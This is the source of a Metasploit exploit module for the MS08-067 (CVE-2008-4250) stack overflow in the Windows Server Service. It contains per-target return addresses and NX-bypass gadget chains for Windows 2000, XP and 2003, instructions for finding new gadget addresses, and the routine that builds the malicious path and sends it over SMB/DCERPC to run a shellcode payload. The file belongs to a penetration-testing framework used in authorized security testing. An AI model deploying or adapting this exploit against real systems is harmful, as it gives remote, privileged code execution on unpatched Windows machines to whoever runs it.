metasploit-framework/modules/exploits/windows/smb/ms08_067_netapi.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote


	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB


	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft Server Service Relative Path Stack Corruption',
			'Description'    => %q{
        		This module exploits a parsing flaw in the path canonicalization code of
				NetAPI32.dll through the Server Service. This module is capable of bypassing
				NX on some operating systems and service packs. The correct target must be
				used to prevent the Server Service (along with a dozen others in the same
				process) from crashing. Windows XP targets seem to handle multiple successful
				exploitation events, but 2003 targets will often crash or hang on subsequent
				attempts. This is just the first version of this module, full support for
				NX bypass on 2003, along with other platforms, is still in development.
			},
			'Author'         => 
				[
					'hdm', # with tons of input/help/testing from the community
					'Brett Moore <brett.moore[at]insomniasec.com>'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-4250'],
					[ 'MSB', 'MS08-067' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
					'Prepend'  => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[

					#
					# Antoine's universal for Windows 2000 with MS06-040 applied
					# Use ms06_040_netapi for systems without this patch.
					#
					[ 'Windows 2000 MS06-040+ (YMMV pre MS06-040)',
						{
							'Ret'       => 0x001f1cb0,
							'Scratch'   => 0x00020408,
						}
					], # JMP EDI Windows 2000 Universal	

					#
					# Standard return-to-ESI without NX bypass
					#			
					[ 'Windows XP SP0 English (NO NX)', 
						{
							'Ret'       => 0x71aa1a7c,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI WS2HELP.DLL

					#
					# Standard return-to-ESI without NX bypass
					#			
					[ 'Windows XP SP1 English (NO NX)', 
						{
							'Ret'       => 0x71aa1a61,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI WS2HELP.DLL
									
					#
					# Metasploit's NX bypass for XP SP2/SP3 
					#				
					[ 'Windows XP SP2 English (NX)', 
						{
							'Ret'       => 0x6f88f727, 
							'DisableNX' => 0x6F8916E2, 
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

					#
					# Metasploit's NX bypass for XP SP2/SP3 
					# Target provided by Giorgio Casali <giorgio.casali[at]gmail.com>
					#					
					[ 'Windows XP SP2 Italian (NX)', 
						{
							'Ret'       => 0x596bf727,
							'DisableNX' => 0x596c16e2,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

					#
					# Metasploit's NX bypass for XP SP2/SP3 
					# Target provided by Ramon de C. Valle <ramon@risesecurity.org>
					#					
					[ 'Windows XP SP2 Portuguese (Brazil) (NX)', 
						{
							'Ret'       => 0x596ff727,
							'DisableNX' => 0x597016e2,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, DEP/NX BYPASS ACGENRAL.DLL
															
					#
					# Metasploit's NX bypass for XP SP2/SP3 
					# Target provided by sunwear <shellcoder[at]hotmail.com>
					#					
					[ 'Windows XP SP2 Chinese (NX)', 
						{
							'Ret'       => 0x58fcda43,
							'DisableNX' => 0x58fc16e2,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

					#
					# Metasploit's NX bypass for XP SP2/SP3 
					#					
					[ 'Windows XP SP3 English (NX)', 
						{
							'Ret'       => 0x6f88f807,
							'DisableNX' => 0x6F8917C2,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

					#
					# Metasploit's NX bypass for XP SP2/SP3 
					# Target provided by Ulises2k <ulises2k[at]gmail.com>
					#					
					[ 'Windows XP SP3 Spanish (NX)', 
						{
							'Ret'       => 0x6fdbf807,
							'DisableNX' => 0x6fdc17c2,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
										#
					# Metasploit's NX bypass for XP SP2/SP3 
					# Target provided by Thierry Zoller <Thierry[at]zoller.lu>
					#					
					[ 'Windows XP SP3 German (NX)', 
						{
							'Ret'       => 0x6fda2bef,
							'DisableNX' => 0x6fda17c2,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

					#
					# Metasploit's NX bypass for XP SP2/SP3 
					# Target provided by Ramon de C. Valle <ramon@risesecurity.org>
					#					
					[ 'Windows XP SP3 Portuguese (Brazil) (NX)', 
						{
							'Ret'       => 0x596ff807,
							'DisableNX' => 0x597017c2,
							'Scratch'   => 0x00020408, 
						}
					], # JMP ESI ACGENRAL.DLL, DEP/NX BYPASS ACGENRAL.DLL
										
					#
					# Standard return-to-ESI without NX bypass
					#					
					[ 'Windows 2003 SP0 English (NO NX)',
						{
							'Ret'       => 0x71bf175f, 
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI WS2HELP.DLL

					#
					# Standard return-to-ESI without NX bypass
					#
					[ 'Windows 2003 SP1 English (NO NX)',
						{
							'Ret'       => 0x71bf21a2, 
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI WS2HELP.DLL
										
					#
					# Standard return-to-ESI without NX bypass
					#
					[ 'Windows 2003 SP2 English (NO NX)',
						{
							'Ret'       => 0x71bf3969, 
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI WS2HELP.DLL

					#
					# Brett Moore's crafty NX bypass for 2003 SP1
					#
					[ 'Windows 2003 SP1 English (NX)',
						{
							'RetDec'    => 0x7c90568c,	# dec ESI, ret @SHELL32.DLL
							'RetPop'    => 0x7ca27cf4, 	# push ESI, pop EBP, ret @SHELL32.DLL
							'JmpESP'    => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
							'DisableNX' => 0x7c83e413,  # NX disable @NTDLL.DLL
							'Scratch'   => 0x00020408,
						}
					],
										
					#
					# Brett Moore's crafty NX bypass for 2003 SP2
					#
					[ 'Windows 2003 SP2 English (NX)',
						{
							'RetDec'    => 0x7c86beb8,	# dec ESI, ret @NTDLL.DLL
							'RetPop'    => 0x7ca1e84e, 	# push ESI, pop EBP, ret @SHELL32.DLL
							'JmpESP'    => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
							'DisableNX' => 0x7c83f517,  # NX disable @NTDLL.DLL
							'Scratch'   => 0x00020408,
						}
					]
											
					#
					# Missing Targets
					# Key:   T=TODO   ?=UNKNOWN   U=UNRELIABLE
					#
					# [?] Windows Vista SP0 - Not tested yet
					# [?] Windows Vista SP1 - Not tested yet
					#
				],

			'DisclosureDate' => 'Oct 28 2008'))

		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
			], self.class)
						
	end


=begin


	*** WINDOWS XP SP2/SP3 TARGETS ***


	This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX
	for the process and then returns back to a call ESI instruction. These addresses are different
	between operating systems, service packs, and language packs, but the steps below can be used to
	add new targets.
	
	
	If the target system does not have NX/NX, just place a "call ESI" return into both the Ret	and
	DisableNX elements of the target hash.
	
	If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.
	First obtain the value for the Ret element of the hash with the following command:
	
	$ msfpescan -j esi acgenral.dll
	
	Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.
	
	Next, find the location of the function we use to disable NX. Use the following command:
	
	$ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll

	This address should be placed into the DisableNX element of the target hash.
	
	The Scratch element of 0x00020408 should work on all versions of Windows
	
	The actual function we use to disable NX looks like this:

		push    4
		lea     eax, [ebp+arg_0]
		push    eax
		push    22h
		push    0FFFFFFFFh
		mov     [ebp+arg_0], 2
		call    ds:__imp__NtSetInformationProcess@16		
		
	
	*** WINDOWS XP NON-NX TARGETS ***
	
	
	Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short 
	jump, and finally the shellcode. 
	
	
	*** WINDOWS 2003 SP2 TARGETS ***
	
	
	There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,
	both of these are inside NTDLL.DLL and use a return method that is not directly compatible
	with our call stack. To solve this, Brett Moore figured out a multi-step return call chain
	that eventually leads to the NX bypass function.
	
	
	*** WINDOWS 2000 TARGETS ***
	
	
	No NX to bypass, just return directly to a "JMP EDX", which takes us to the short 
	jump, and finally the shellcode. Systems without MS06-040 applied act differently
	and should not be targeted with this exploit.
	
	
	*** WINDOWS VISTA TARGETS ***
	
	Currently untested, will involve ASLR and NX, should be fun.
	

	*** NetprPathCanonicalize IDL ***


	NET_API_STATUS NetprPathCanonicalize(
	[in, string, unique] SRVSVC_HANDLE ServerName,
	[in, string] WCHAR* PathName,
	[out, size_is(OutbufLen)] unsigned char* Outbuf,
	[in, range(0,64000)] DWORD OutbufLen,
	[in, string] WCHAR* Prefix,
	[in, out] DWORD* PathType,
	[in] DWORD Flags
	);
	
=end


	def exploit	

		print_status("Connecting to the target...")
		
		connect()
		smb_login()
		
		#
		# Build the malicious path name
		#
			
		padder = [*("A".."Z")]
		pad = "A"
		while(pad.length < 7)
			c = padder[rand(padder.length)]
			next if pad.index(c)
			pad += c
		end
		
		prefix = "\\"
		path   = ""
		server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
		
		
		#
		# Windows 2000, XP (NX), and 2003 (NO NX) targets
		#
		if(not target['RetDec'])

			jumper = Rex::Text.rand_text_alpha(70).upcase
			jumper[ 4,4] = [target.ret].pack("V")
			jumper[50,8] = make_nops(8)
			jumper[58,2] = "\xeb\x62"

			path = 
				Rex::Text.to_unicode("\\") +

				# This buffer is removed from the front
				Rex::Text.rand_text_alpha(100) + 

				# Shellcode
				payload.encoded +

				# Relative path to trigger the bug
				Rex::Text.to_unicode("\\..\\..\\") + 

				# Extra padding
				Rex::Text.to_unicode(pad) +

				# Writable memory location (static)
				[target['Scratch']].pack("V") + # EBP

				# Return to code which disables NX (or just the return)
				[ target['DisableNX'] || target.ret ].pack("V") +

				# Padding with embedded jump
				jumper +

				# NULL termination
				"\x00" * 2
		#
		# Windows 2003 SP2 (NX) targets
		#
		else
		
			jumper = Rex::Text.rand_text_alpha(70).upcase
			jumper[ 0,4] = [target['RetDec']].pack("V")# one more to Align and make room

			jumper[ 4,4] = [target['RetDec']].pack("V") # 4 more for space
			jumper[ 8,4] = [target['RetDec']].pack("V") 
			jumper[ 12,4] = [target['RetDec']].pack("V")
			jumper[ 16,4] = [target['RetDec']].pack("V")

			jumper[ 20,4] = [target['RetPop']].pack("V")# pop to EBP
			jumper[ 24,4] = [target['DisableNX']].pack("V")

			jumper[ 56,4] = [target['JmpESP']].pack("V")
			jumper[ 60,4] = [target['JmpESP']].pack("V")
			jumper[ 64,2] = "\xeb\x02"                    # our jump
			jumper[ 68,2] = "\xeb\x62"					  # original

			path = 
				Rex::Text.to_unicode("\\") +

				# This buffer is removed from the front
				Rex::Text.rand_text_alpha(100) + 

				# Shellcode
				payload.encoded +

				# Relative path to trigger the bug
				Rex::Text.to_unicode("\\..\\..\\") + 

				# Extra padding
				Rex::Text.to_unicode(pad) +

				# Writable memory location (static)
				[target['Scratch']].pack("V") + # EBP

				# Return to code which disables NX (or just the return)
				[target['RetDec']].pack("V") +

				# Padding with embedded jump
				jumper +

				# NULL termination
				"\x00" * 2
		
		end
		
		handle = dcerpc_handle(
			'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 
			'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
		)

		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		stub = 
			NDR.uwstring(server) +
			NDR.UnicodeConformantVaryingStringPreBuilt(path) +
			NDR.long(rand(1024)) +
			NDR.wstring(prefix) +
			NDR.long(4097) +
			NDR.long(0)		
		
		begin
			print_status("Triggering the vulnerability...")	
			dcerpc.call(0x1f, stub)

		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		rescue => e
			if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
				raise e
			end
		end

		# Cleanup
		handler
		disconnect
	end

end